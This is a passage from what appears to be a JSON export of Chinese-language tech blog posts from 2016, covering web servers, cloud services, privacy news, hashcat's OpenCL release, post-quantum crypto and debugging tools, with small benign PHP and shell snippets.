width=\"640\"></video>",
    "title": "愈來愈吃資源的影音廣告 (VPAID)"
  },
  {
    "id": "6642",
    "body": "常看到這種圖，但卻不知道這種圖是用什麼做出來的，或是他的名字：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nzUIVTc.webp\" /><img src=\"https://i.gslin.com/imgur/nzUIVTc.jpg\" alt=\"\" /></picture>\r\n\r\n剛剛在「<a href=\"http://www.ebaytechblog.com/2016/06/15/igniting-node-js-flames/\">Igniting Node.js Flames</a>」這邊看到這叫做 Flame Graph，出自「<a href=\"https://github.com/brendangregg/FlameGraph\">brendangregg/FlameGraph</a>」這邊。\r\n\r\n在 <a href=\"http://www.linux.org/\">Linux</a> 上可以用 <a href=\"https://perf.wiki.kernel.org/\">perf</a> 產生資料檔案，在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Solaris_(operating_system)\">Solaris</a> 上可以用 <a href=\"https://en.wikipedia.org/wiki/DTrace\">DTrace</a> 產生... 是個來理解效能瓶頸的好工具 :o",
    "title": "Flame Graph"
  },
  {
    "id": "6644",
    "body": "<a href=\"https://www.shazam.com/\">Shazam</a> 的新功能可以直接在背景辨識 (叫做 Auto Shazam)，這比 <a href=\"https://www.apple.com/ios/siri/\">Siri</a> 還具有侵略性：「<a href=\"http://thenextweb.com/apps/2016/06/17/shazams-new-feature-android-convinced-ditch-soundhound/\">Shazam’s new feature on Android has convinced me to ditch SoundHound for identifying songs</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/twU3uYW.webp\" /><img src=\"https://i.gslin.com/imgur/twU3uYW.jpg\" alt=\"\" /></picture>\r\n\r\n看作者超開心的是怎樣... 來看看 <a href=\"https://www.android.com/\">Android</a> 上要怎麼鎖 :o",
    "title": "Shazam 新功能對隱私的攻擊性"
  },
  {
    "id": "6645",
    "body": "如同標題講的，<a href=\"https://www.cia.gov/\">CIA</a> 老大 John Brennan 告訴參議員，因為實務上不存在「Non-US encryption」，所以強制任何要進入美國的企業使用美版帶有後門的加密系統是可行的：「<a href=\"http://www.theregister.co.uk/2016/06/17/non_us_encryption_is_theoretical_claims_cia/\">Non-US encryption is 'theoretical,' claims CIA chief in backdoor debate</a>」。\r\n\r\n<blockquote>CIA director John Brennan told US senators they shouldn't worry about mandatory encryption backdoors hurting American businesses.\r\n\r\nAnd that's because, according to Brennan, there's no one else for people to turn to: if they don't want to use US-based technology because it's been forced to use weakened cryptography, they'll be out of luck because non-American solutions are simply \"theoretical.\"</blockquote>\r\n\r\n這位腦袋已經壞掉了啊，你知道有個叫做 China，拼做 C-h-i-n-a 的經濟體系嗎... 然後中美共用同一套有後門的加密系統瞬間就會被一堆人打槍，如果真的發生，還有個歐盟... 而且這些事情只是促進以色列的安全系統加速脫離美國掌控啊？以色列才是目前資安的超級強國啊...\r\n\r\n這世界上有太多已經不是掌握在美國的東西了啊...",
    "title": "CIA 老大告訴參議員，在加密系統裡放後門是可行的，因為沒有公司可以逃離美國魔掌"
  },
  {
    "id": "6646",
    "body": "兩個禮拜前提到的「<a href=\"https://blog.gslin.org/archives/2016/06/06/6614/headless-chrome/\">Headless Chrome</a>」，在剛剛已經看到有人提到 source tree 裡面有「<a href=\"https://chromium.googlesource.com/chromium/src/+/master/headless/README.md\">Headless Chromium</a>」了：\r\n\r\n<blockquote>Headless Chromium is a library for running Chromium in a headless/server environment. Expected use cases include loading web pages, extracting metadata (e.g., the DOM) and generating bitmaps from page contents -- using all the modern web platform features provided by Chromium and Blink.</blockquote>",
    "title": "Headless Chromium 已經可以用了..."
  },
  {
    "id": "6648",
    "body": "在「<a href=\"https://ingramchen.io/blog/2016/06/migrate-to-ubuntu-1604.html\">Migrate to Ubuntu 16.04</a>」這邊看到換 16.04 的理由：\r\n\r\n<blockquote>支援 http2 是升級到 Ubuntu 16.04 很大的動機。原因是前一版 14.04 裡 openssl 太舊，不支援 ALPN 協定，Chrome 瀏覽器又放棄了 NPN 的舊協定，詳細。你要嘛自己編譯 nginx ，要嘛就是升級到 16.04 才能解決。選哪個方法就看各公司的政策，升了 OS 問題就直接解決了。</blockquote>\r\n\r\n不過 <a href=\"https://launchpad.net/~ondrej\">Ondřej Surý</a> 包了一個有新版 openssl 的套件出來，所以在 12.04 或是 14.04 都可以使用 <a href=\"https://en.wikipedia.org/wiki/Application-Layer_Protocol_Negotiation\">ALPN</a> 版本的 <a href=\"https://nginx.org/\">nginx</a>：「<a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/nginx\">PPA for NGINX with HTTP/2 on Ubuntu 12.04 LTS and higher</a>」。\r\n\r\n目前 16.04 上的 <a href=\"https://puppet.com/\">Puppet</a> 爛了不少東西，還是得靠 14.04 吃飯... orz",
    "title": "在 Ubuntu 14.04 上執行支援 ALPN 的 nginx"
  },
  {
    "id": "6649",
    "body": "前幾天下班前同事說小鐵 <a href=\"http://jaceju.net/\">jaceju</a> 介紹了 <a href=\"https://github.com/Codeception/AspectMock\">Codeception/AspectMock</a> 這個把 PHP function 抽換掉的套件，不需要靠 PECL 另外裝，不過缺點是只能抽換 namespace 裡面的 function... 不過這樣對於補 code coverage 也很夠了 :o\r\n\r\n測了一下，寫了個小程式：\r\n\r\n<pre>&lt;?php\r\n\r\nnamespace myscript;\r\n\r\nrequire __DIR__ . '/vendor/autoload.php';\r\n\r\n\\AspectMock\\Kernel::getInstance()->init();\r\n\r\nuse AspectMock\\Test;\r\n\r\necho time(), \"\\n\";\r\n\r\nTest::func(__NAMESPACE__, 'time', 'now');\r\n\r\necho time(), \"\\n\";</pre>\r\n\r\n然後跑出來變成：\r\n\r\n<pre>1466612797\r\nnow</pre>\r\n\r\n而字串 <code>'now'</code> 也可以換成 anonymous function，這樣已經可以做不少事情了...",
    "title": "用 AspectMock 來替換 PHP function..."
  },
  {
    "id": "6650",
    "body": "<a href=\"https://getcomposer.org/\">Composer</a> 包太多 module 進去跑會變慢不少 (像是把 <a href=\"https://xdebug.org/\">xdebug</a> 包進去時)，所以自己寫了個小 script 只包必要的東西進去：\r\n\r\n<pre>#!/bin/sh\r\nexec php \\\r\n    -n \\\r\n    -d 'extension=curl.so' \\\r\n    -d 'extension=filter.so' \\\r\n    -d 'extension=hash.so' \\\r\n    -d 'extension=iconv.so' \\\r\n    -d 'extension=json.so' \\\r\n    -d 'extension=openssl.so' \\\r\n    -d 'extension=phar.so' \\\r\n    -d 'extension=posix.so' \\\r\n    -d 'zend_extension=opcache.so' \\\r\n    \"$(dirname $0)/composer.phar\" $*</pre>\r\n\r\n用 -n 忽略掉 <code>php.ini</code> 裡面的東西 (這包括了 extension 設定) 後再開始自己加 extension 設定。\r\n\r\n其中 <code>opcache.so</code> 是加速用的，<code>posix.so</code> 是因為想要有輸出的色彩，這兩個 so 檔不加進去還是可以動，而其他的都是必要的 extension。",
    "title": "用乾淨的環境跑 Composer"
  },
  {
    "id": "6651",
    "body": "前幾天 <a href=\"https://twitter.com/gjtaiwan\">gjtaiwan</a> 的這則 tweet，看到的時候本來只是笑一笑而已：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">消息人士透露，Twitter已經向來自柏林的音樂服務SoundCloud投資7000萬美元。Twitter確認了這筆投資，CEOJack Dorsey表示這為了支持創作者的一些舉措；「以後他們可以發表140秒的音頻」。</p>&mdash; 台灣幹得好新聞社｜GJ!!Taiwan (@gjtaiwan) <a href=\"https://twitter.com/gjtaiwan/status/742948284986236928\">June 15, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n結果剛剛看到「<a href=\"http://thenextweb.com/twitter/2016/06/21/twitter-vine-140-second-video/\">Twitter and Vine now support videos up to 140-seconds long</a>」，雖然不是 <a href=\"https://soundcloud.com/\">SoundCloud</a>，但還真的 140 秒啊... @_@",
    "title": "Twitter 還真的玩 140 秒的規格啊..."
  },
  {
    "id": "6660",
    "body": "<a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 對行動裝置還是很重要，尤其是 Android 裝置在 5.0 之後才有支援 HTTP/2，但在 3.0 之後就有支援 SPDY，也就是超過一半的 Android 用戶只有 SPDY 但沒有 HTTP/2 能力：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GMldqL6.webp\" /><img src=\"https://i.gslin.com/imgur/GMldqL6.jpg\" alt=\"\" /></picture>\r\n\r\n查資料的時候發現當初 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 提供的 SPDY + HTTP/2 patch 本來只能對 <a href=\"http://nginx.org/\">nginx</a> 1.9.7 更新 (參考之前寫的「<a href=\"https://blog.gslin.org/archives/2016/05/15/6557/cloudflare-%E6%94%BE%E5%87%BA%E5%8F%AF%E4%BB%A5%E5%90%8C%E6%99%82%E6%94%AF%E6%8F%B4-http2-%E8%88%87-spdy-%E7%9A%84-nginx-patch/\">CloudFlare 放出可以同時支援 HTTP/2 與 SPDY 的 nginx patch</a>」)，後來有人再更新到 1.9.15，而在留言的地方也可以看到有人回報在 1.11.0 上面可以跑：「<a href=\"https://github.com/cloudflare/sslconfig/pull/36\">Update NGINX SPDY patch for 1.9.15</a>」：\r\n\r\n<blockquote>Works fine against nginx 1.11.0 and OpenSSL 1.0.2h (with ChaCha20 patch). I am building nginx as an Ubuntu 16.04 package.</blockquote>\r\n\r\n而最新版 1.11.1 只有一個安全性更新，應該也可以跑... 來找看看會不會有人包 ppa 出來。",
    "title": "CloudFlare 提供的 SPDY + HTTP/2 patch 可以在 nginx 1.11 上面跑了..."
  },
  {
    "id": "6661",
    "body": "在 <a href=\"https://secure.php.net/\">PHP</a> 網站上的「<a href=\"https://secure.php.net/supported-versions.php\">Supported Versions</a>」可以看到 PHP 5.5 將要停止支援了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EG7oYT8.webp\" /><img src=\"https://i.gslin.com/imgur/EG7oYT8.jpg\" alt=\"\" /></picture>\r\n\r\nPHP 5.6 因為是 PHP 5 的最後一個版本，有特殊待遇，時間會拉的比較長 (功能性更新多四個月，安全性更新多一年)：\r\n\r\n<blockquote>As it is the final PHP 5 release, support for PHP 5.6 has been extended: active support will run for an additional four months, and the security fix period has been doubled from one to two years. Other releases are unaffected.</blockquote>\r\n\r\n話說 PHP 7.1 也在 alpha 階段了...",
    "title": "離 PHP 5.5 官方中止支援不到兩個禮拜了..."
  },
  {
    "id": "6662",
    "body": "直接跑去問 <a href=\"https://twitter.com/oerdnj\">ondrej</a> 有沒有意願把 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 提供的 patch 放進去，結果也很順利的就更新了：「<a href=\"https://github.com/oerdnj/deb.sury.org/issues/394\">nginx 1.11.1 (security release) and CloudFlare SPDY + HTTP2 patch</a>」(先前標題還打錯... XDDD)。\r\n\r\n所以現在在 <a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/nginx\">nginx PPA</a> 裡的版本同時支援 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 與 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 了，可以參考「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=blog.gslin.org&amp;s=162.243.148.78\">SSL Server Test: blog&#46;gslin&#46;org (Powered by Qualys SSL Labs)</a>」。\r\n\r\n可以看到舊的行動平台都透過 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 連上來了，速度應該會比之前順不少...",
    "title": "ondrej 的 nginx PPA 支援 SPDY + HTTP/2 了..."
  },
  {
    "id": "6664",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 先前宣佈要在印度開放的消息總算是實現了：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-asia-pacific-mumbai-region/\">Now Open – AWS Asia Pacific (Mumbai) Region</a>」，另外他們家老大 Werner Vogels 也放了新聞稿：「<a href=\"http://www.allthingsdistributed.com/2016/06/introducing-aws-asia-pacific-mumbai-region.html\">Expanding the Cloud: Introducing the AWS Asia Pacific (Mumbai) Region</a>」。\r\n\r\n在「<a href=\"https://docs.aws.amazon.com/general/latest/gr/rande.html\">AWS Regions and Endpoints</a>」也更新了，也可以看出區域代碼是 ap-south-1。價錢上看起來跟日本與新加坡差不多在同一個等級...\r\n\r\n不知道之後連到歐洲的效能會是怎麼樣 :o (現在看不準，應該還沒 optimize)",
    "title": "AWS 印度區開放"
  },
  {
    "id": "6665",
    "body": "在「<a href=\"https://blog.benjojo.co.uk/post/cheap-hdmi-capture-for-linux\">Ludicrously cheap HDMI capture for Linux</a>」這邊看到 hacker 精神 XDDD\r\n\r\n作者想要找一個 HDMI 錄影裝置，但發現在 <a href=\"http://www.linux.org/\">Linux</a> 下很難找，就算有也很貴：\r\n\r\n<blockquote>Lately I have had the need to do real time video capture from HDMI devices as of late for a project, and while looking around the internet found that all of the capture cards that are aimed at gamers (windows / OSX support only) or full blown production capture (Very expensive, more inputs than I need). The other downside is that all of these options either have no Linux drivers at all, or if they do, they have a Linux driver that is behind an NDA, and those cards are in the $800+ range.</blockquote>\r\n\r\n但他在網路上找到「<a href=\"https://blog.danman.eu/reverse-engineering-lenkeng-hdmi-over-ip-extender/\">Reverse engineering Lenkeng HDMI over IP extender</a>」這篇文章，裡面提到有 HDMI 轉 IP 的設備可以用，並且成功寫了一些 Python script 解出裡面的 packet... 而這樣的設備便宜非常多。\r\n\r\n<img src=\"https://i.gslin.com/imgur/MpprjxK.jpg\" alt=\"\" />\r\n\r\n查了一下型號，看起來是「<a href=\"https://www.amazon.com/dp/B00EAATKZC\">Digital Family LKV373 HDMI Network Extender over Cat5 Cable - Unlimited Extension</a>」這顆，變貴了？不過相較於前面提到的 $800+ 還是便宜不少就是了... XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T7BPNjX.webp\" /><img src=\"https://i.gslin.com/imgur/T7BPNjX.jpg\" alt=\"\" /></picture>",
    "title": "廉價的 HDMI 擷取卡方案"
  },
  {
    "id": "6666",
    "body": "在 <a href=\"https://www.schneier.com\">Bruce Schneier</a> 這邊看到「<a href=\"https://www.schneier.com/blog/archives/2016/06/facebook_using_.html\">Facebook Using Physical Location to Suggest Friends</a>」這則文章，引用自「<a href=\"http://fusion.net/story/319108/facebook-phone-location-friend-suggestions/\">Facebook is using your phone’s location to suggest new friends—which could be a privacy disaster</a>」這篇報導，報導開頭寫著更新的資訊：\r\n\r\n<blockquote>Update (June 28): After twice confirming it used location to suggest new friends, Facebook now says it doesn’t currently use “location data, such as device location and location information you add to your profile, to suggest people you may know.” The company says it ran a brief test using location last year. New story here.</blockquote>\r\n\r\n跟 <a href=\"https://www.facebook.com/\">Facebook</a> 第二次確認後發現是標準的「啊！靠腰！是 PR 災難」的處理方式。在第一次跟 Facebook 確認時，Facebook 發言人的正式回覆說明了手機的位置是計算的條件之一：\r\n\r\n<blockquote>“People You May Know are people on Facebook that you might know,” a Facebook spokesperson said. “We show you people based on mutual friends, work and education information, networks you’re part of, contacts you’ve imported and many other factors.”\r\n\r\nOne of those factors is smartphone location. A Facebook spokesperson said though that shared location alone would not result in a friend suggestion, saying that the two parents must have had something else in common, such as overlapping networks.\r\n\r\n<strong>“Location information by itself doesn’t indicate that two people might be friends,” said the Facebook spokesperson. “That’s why location is only one of the factors we use to suggest people you may know.”</strong></blockquote>\r\n\r\n靠背...",
    "title": "Facebook 大量蒐集 GPS 定位資訊後用機械學習「猜測」你可能認識的人"
  },
  {
    "id": "6667",
    "body": "<a href=\"https://www.backblaze.com/b2/cloud-storage.html\">B2 Cloud Storage</a> 是 <a href=\"https://www.backblaze.com/\">Backblaze</a> 推出的 Cloud Storage，價錢相當低...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CUKV5DS.webp\" /><img src=\"https://i.gslin.com/imgur/CUKV5DS.jpg\" alt=\"\" /></picture>\r\n\r\n先前還在 beta，現在是正式推出了... 有 99.9% 的 uptime SLA 與 99.999999% 的 durability (但沒講時間？)，另外推出實體的 Export 服務，來看看有哪些 cli 工具可以用，該玩看看了 :o",
    "title": "Backblaze 的 B2 Cloud Storage 正式推出"
  },
  {
    "id": "6668",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 其實就當作是 NFS/CIFS as a service，之前一直在測試期，現在正式宣佈進入 Production 了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elastic-file-system-production-ready-in-three-regions/\">Amazon Elastic File System – Production-Ready in Three Regions</a>」。\r\n\r\n開放三個區域使用：\r\n\r\n<blockquote>I am happy to announce that EFS is now available for production use in the US East (Northern Virginia), US West (Oregon), and Europe (Ireland) Regions.</blockquote>\r\n\r\n不知道穩定性如何 XDDD (因為 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 之前的穩定性太有名...)\r\n\r\n之前在測試的時候發現只支援 NFSv4，不支援 NFSv3，這樣有點可惜... 另外價錢也頗高的 :o",
    "title": "Amazon EFS 脫離測試期"
  },
  {
    "id": "6669",
    "body": "<a href=\"https://hashcat.net/\">hashcat</a> 是個用暴力法拿來計算各種 reverse hash 的的工具，也就是對於 <code>HASH(key) = value</code> 時，給 value 的值，要求得出 key 的值 (被稱為 <a href=\"https://en.wikipedia.org/wiki/Preimage_attack\">Preimage attack</a>)。\r\n\r\n雖然是暴力法，但還是花了很多力氣加速，尤其在這個 GPU 已經很常見的年代，這套軟體也支援透過 GPU 加速運算。\r\n\r\n先前的版本是 CPU 與 GPU 分開兩個版本可以用 (CPU 版本的叫 hashcat，GPU 版本的叫做 oclHashcat)，而 GPU 的版本只支援 <a href=\"https://www.nvidia.com/\">nVidia</a> 與 <a href=\"https://www.amd.com/\">AMD</a> 兩家大廠的顯卡。\r\n\r\n而在 v3.00 版，透過 <a href=\"https://en.wikipedia.org/wiki/OpenCL\">OpenCL</a> 的界面將這些全部都合而為一了：「<a href=\"https://hashcat.net/forum/thread-5559.html\">hashcat v3.00</a>」，所以不只是支援 CPU 與 nVidia + AMD 的 GPU，還包括了：\r\n\r\n<ul>\r\n\t<li>GPU</li>\r\n\t<li>CPU</li>\r\n\t<li>APU</li>\r\n\t<li>DSP</li>\r\n\t<li>FPGA</li>\r\n\t<li>Coprocessor</li>\r\n\t<li>Anything else which comes with an OpenCL runtime</li>\r\n</ul>\r\n\r\n也特別提到，Intel CPU 上內建的 GPU 部份也可以拿來用了：\r\n\r\n<blockquote>For example, Intel CPUs will now instantly pop up as an available OpenCL device after you've installed the Intel OpenCL runtime.</blockquote>\r\n\r\n也因為透過 OpenCL，如果有多種不同類型的加速方式，新版 hashcat 也可以同時使用。\r\n\r\n另外這次效能評估 (與舊版比較) 也做出來了：「<a href=\"https://docs.google.com/spreadsheets/d/1B1S_t1Z0KsqByH3pNkYUM-RCFMu860nlfSsYEqOoqco\">hashcat 2.01 / 3.00 performance comparison</a>」，可以看到比較新一點的卡整體都有進步，而舊的卡有可能是對 OpenCL 的最佳化或是 overhead 比較敏感，慢了不少...",
    "title": "hashcat v3.00"
  },
  {
    "id": "6670",
    "body": "<a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a> 的新進展，簡訊可以發到全世界了 (之前應該是只能發到美國？)：「<a href=\"https://aws.amazon.com/blogs/aws/new-worldwide-delivery-of-amazon-sns-messages-via-sms/\">New – Worldwide Delivery of Amazon SNS Messages via SMS</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VAcAwDk.webp\" /><img src=\"https://i.gslin.com/imgur/VAcAwDk.jpg\" alt=\"\" /></picture>\r\n\r\n拉台灣的數字出來可以看到即使是最便宜的台灣大哥大 (Taiwan Mobile) 每通也要 NTD$1.35 左右，其他家就貴翻了... (所以應該是跟台哥大合作對接？)\r\n\r\n不過對於本來就有用 AWS 服務的人來說，帳單是在同一張，報起來比較省事...",
    "title": "Amazon SNS 可以發簡訊到全世界了..."
  },
  {
    "id": "6674",
    "body": "前幾天跟同事聊到 <a href=\"https://www.android.com/\">Android</a> 刷機的事情，而最近剛好看到介紹這台無線分享器裡的名機，<a href=\"http://www.linksys.com/\">Linksys</a> 的 <a href=\"https://en.wikipedia.org/wiki/Linksys_WRT54G_series\">WRT54GL</a>：「\r\n<a href=\"http://arstechnica.com/information-technology/2016/07/the-wrt54gl-a-54mbps-router-from-2005-still-makes-millions-for-linksys/\">The WRT54GL: A 54Mbps router from 2005 still makes millions for Linksys</a>」，第一款被廣泛應用在各種客製化硬體的機器。\r\n\r\n<img src=\"https://i.gslin.com/imgur/FT5cZbq.jpg\" alt=\"\" />\r\n<small>取自維基百科的「<a href=\"https://en.wikipedia.org/wiki/File:Linksys_WRT54G.jpg\">File:Linksys WRT54G.jpg</a>」</small>\r\n\r\n從 2005 年開始賣，到現在 2016 年還是繼續在賣，而且這東西支援的無線規格很舊，還比其他的無線分享器貴不少：\r\n\r\n<blockquote>Witness the Linksys WRT54GL, the famous wireless router that came out in 2005 and is still for sale. At first glance, there seems to be little reason to buy the WRT54GL in the year 2016. It uses the 802.11g Wi-Fi standard, which has been surpassed by 802.11n and 802.11ac. It delivers data over the crowded 2.4GHz frequency band and is limited to speeds of 54Mbps. You can buy a new router—for less money—and get the benefit of modern standards, expansion into the 5GHz band, and data rates more than 20 times higher.</blockquote>\r\n\r\n但不只能賣，還賣的很好：\r\n\r\n<blockquote>Despite all that, people still buy the WRT54GL in large enough numbers that Linksys continues to earn millions of dollars per year selling an 11-year-old product without ever changing its specs or design.</blockquote>\r\n\r\n量大到 <a href=\"https://www.broadcom.com/\">Broadcom</a> 還是繼續支援，然後產品 PM 就抱怨他搞不懂：\r\n\r\n<blockquote>\"To be honest, it somewhat baffles my mind,\" Linksys Global Product Manager Vince La Duca told Ars. But production won't stop any time soon as long as Linksys' suppliers, including chipmaker Broadcom, keep selling the parts needed to build the WRT54GL. \"We'll keep building it because people keep buying it,\" La Duca said.</blockquote>\r\n\r\n只能說，施主您多保重...",
    "title": "Linksys 的 WRT54GL"
  },
  {
    "id": "6675",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Quantum_computing\">Quantum Computer</a> 對現有密碼學的衝擊很大，像是 RSA 演算法是基於「質因數分解」的難題而架構出來的系統，在 Quantum Computer 上存在有效率的演算法，也就是 <a href=\"https://en.wikipedia.org/wiki/Shor%27s_algorithm\">Shor's algorithm</a>。\r\n\r\n雖然 Quantum Computer 在技術上還沒辦法對現有演算法造成有效的攻擊，但已經有人提出新的演算法來對抗，而 <a href=\"https://www.google.com/\">Google</a> 打算在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 裡面引入測試：「<a href=\"https://security.googleblog.com/2016/07/experimenting-with-post-quantum.html\">Experimenting with Post-Quantum Cryptography</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LvWtH54.webp\" /><img src=\"https://i.gslin.com/imgur/LvWtH54.jpg\" alt=\"\" /></picture>\r\n\r\nGoogle 也特別說明了，他們不希望這個實驗最後變成 de-facto standard (借測轉出貨的概念)，而是希望當作一個開頭，希望之後可以用更好的標準換掉：\r\n\r\n<blockquote>We explicitly do not wish to make our selected post-quantum algorithm a de-facto standard. To this end we plan to discontinue this experiment within two years, hopefully by replacing it with something better.</blockquote>",
    "title": "Google Chrome 引入 CECPQ1，開始測試 Post-Quantum Cryptography"
  },
  {
    "id": "6676",
    "body": "<a href=\"https://www.avast.com/\">Avast</a> 買 <a href=\"https://www.avg.com/\">AVG</a>，這兩家都不小：「<a href=\"http://venturebeat.com/2016/07/07/avast-acquires-rival-avg-for-1-3-billion-to-create-a-security-software-giant/\">Avast acquires rival AVG for $1.3 billion to create a security software giant</a>」。\r\n\r\n文章開頭提到的交易的形式與金額：\r\n\r\n<blockquote>Security software giant Avast Software has acquired rival AVG Technologies. Avast will pay $25 cash for each of AVG’s outstanding ordinary shares in a deal amounting to around $1.3 billion.</blockquote>\r\n\r\n兩家也都放了新聞稿：\r\n\r\n<ul>\r\n\t<li><a href=\"https://blog.avast.com/avast-and-avg-a-future-together\">Avast and AVG: A Future Together</a></li>\r\n\t<li><a href=\"https://press.avast.com/avast-announces-agreement-to-acquire-avg-for-13b\">Avast Announces Agreement to Acquire AVG for $1.3B</a></li>\r\n\t<li><a href=\"http://now.avg.com/avast-announces-agreement-to-acquire-avg-for-1-3b/\">Avast Announces Agreement to Acquire AVG for $1.3B</a></li>\r\n</ul>",
    "title": "Avast 買 AVG"
  },
  {
    "id": "6677",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 也提供類似 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的服務了：「<a href=\"https://www.digitalocean.com/company/blog/block-storage-more-space-to-scale/\">Block Storage: More Space to Scale</a>」。\r\n\r\n只提供 SSD 型態的 Block Storage，價位跟 Amazon EBS 類似，USD$0.1/GB/month。有幾個限制，一個是服務的地區目前只有 NYC1 與 SFO2，下一個會是 FRA1：\r\n\r\n<blockquote>You can create Block Storage volumes right now in NYC1 and our new SFO2 region. FRA1 is next in line and will be available in the coming weeks. We’re working quickly to expand to other regions. More updates to come.</blockquote>\r\n\r\n另外一個是最大 16TB，也是跟 Amazon EBS 一樣：\r\n\r\n<blockquote>You can easily scale up and resize your Storage volumes from 1GB to 16TB and move them between Droplets via the control panel or API.</blockquote>\r\n\r\n多了個選擇可以用...",
    "title": "DigitalOcean 也推出類似於 Amazon EBS 的東西了：Block Storage"
  },
  {
    "id": "6680",
    "body": "<a href=\"https://github.com/\">GitHub</a> 提出了自己對抗 TCP SYN Floord 的方式：「<a href=\"http://githubengineering.com/syn-flood-mitigation-with-synsanity/\">SYN Flood Mitigation with synsanity</a>」。\r\n\r\n<a href=\"https://github.com/github/synsanity\">synsanity</a> 是一個 <a href=\"https://www.netfilter.org/\">netfilter</a> (<a href=\"https://en.wikipedia.org/wiki/Iptables\">iptables</a>) 用的 target，利用現有的理論阻擋 TCP SYN Flood 這種 DDoS：\r\n\r\n<blockquote>synsanity is a netfilter (iptables) target for high performance lockless SYN cookies for SYN flood mitigation, as used in production at GitHub.</blockquote>\r\n\r\n前人的作法 (SYNPROXY) 以 module 形式運作，需要過濾每一個封包，而這在 GitHub 這種規模上會導致效能不足並且 kernel panic：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qqG1RsI.webp\" /><img src=\"https://i.gslin.com/imgur/qqG1RsI.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>This is quite an intrusive way of solving the problem since it touches every packet during the entire connection, but it does successfully mitigate SYN floods. Unfortunately we found that in practise under our load and with the amount of malformed packets we receive, it quickly broke down and caused a kernel panic.</blockquote>\r\n\r\nGitHub 所開發的 synsanity 則是透過 netfilter (iptables) 的 target，只處理 initial packets，在撰寫的時候考慮多 CPU 的 lock 問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ijCrsH6.webp\" /><img src=\"https://i.gslin.com/imgur/ijCrsH6.jpg\" alt=\"\" /></picture>",
    "title": "GitHub 對抗 TCP SYN Flood 的方式：synsanity"
  },
  {
    "id": "6681",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 針對 JPEG 圖片再次無損壓縮所發展出來的 <a href=\"https://github.com/dropbox/lepton\">Lepton</a>：「<a href=\"https://blogs.dropbox.com/tech/2016/07/lepton-image-compression-saving-22-losslessly-from-images-at-15mbs/\">Lepton image compression: saving 22% losslessly from images at 15MB/s</a>」。\r\n\r\n直接用傳統壓縮方式對 JPEG 檔壓縮是沒有用的，他們針對 JPEG 裡的內容分析後再次無損壓縮，並且可以還原成原來的 JPEG：\r\n\r\n<blockquote>Lepton achieves a 22% savings reduction for existing JPEG images, by predicting coefficients in JPEG blocks and feeding those predictions as context into an arithmetic coder. Lepton preserves the original file bit-for-bit perfectly.</blockquote>\r\n\r\n當檔案夠大時的壓縮率大約就是 22%：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W5bGSuA.webp\" /><img src=\"https://i.gslin.com/imgur/W5bGSuA.jpg\" alt=\"\" /></picture>\r\n\r\n很可觀的數字... 另外 Dropbox 也透漏了至少有 160 億張 JPEG 圖片：\r\n\r\n<blockquote>We have used Lepton to encode 16 billion images saved to Dropbox, and are rapidly recoding our older images.</blockquote>",
    "title": "Dropbox 針對 JPEG 圖片再次「無損壓縮」的 Lepton"
  },
  {
    "id": "6682",
    "body": "看到「<a href=\"http://undo.io/resources/presentations/cppcon-2015-greg-law-give-me-15-minutes-ill-change/\">CppCon 2015: Greg Law 'Give me 15 minutes & I'll change your view of GDB'</a>」這篇去年 <a href=\"http://cppcon.org/\">CppCon</a> 上介紹 <a href=\"https://www.gnu.org/software/gdb/\">GDB</a> 的影片：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/PorfLSr3DDI\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n不是給初學者看的，而是給碰壁很多次的人看的... 裡面提到的 Ctrl-X 與內嵌 python 的部份讓人很驚豔，另外也實戰了 <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Reverse-Execution.html\">Reverse Execution</a> 救 call stack 的技巧，拿來找破壞掉 stack 後不知道問題在哪裡的 case。\r\n\r\n很值得看的 15 分鐘 (實際上大概花了半個小時，邊看邊實際操作練習)。",
    "title": "對 GDB 十五分鐘的介紹"
  },
  {
    "id": "6683",
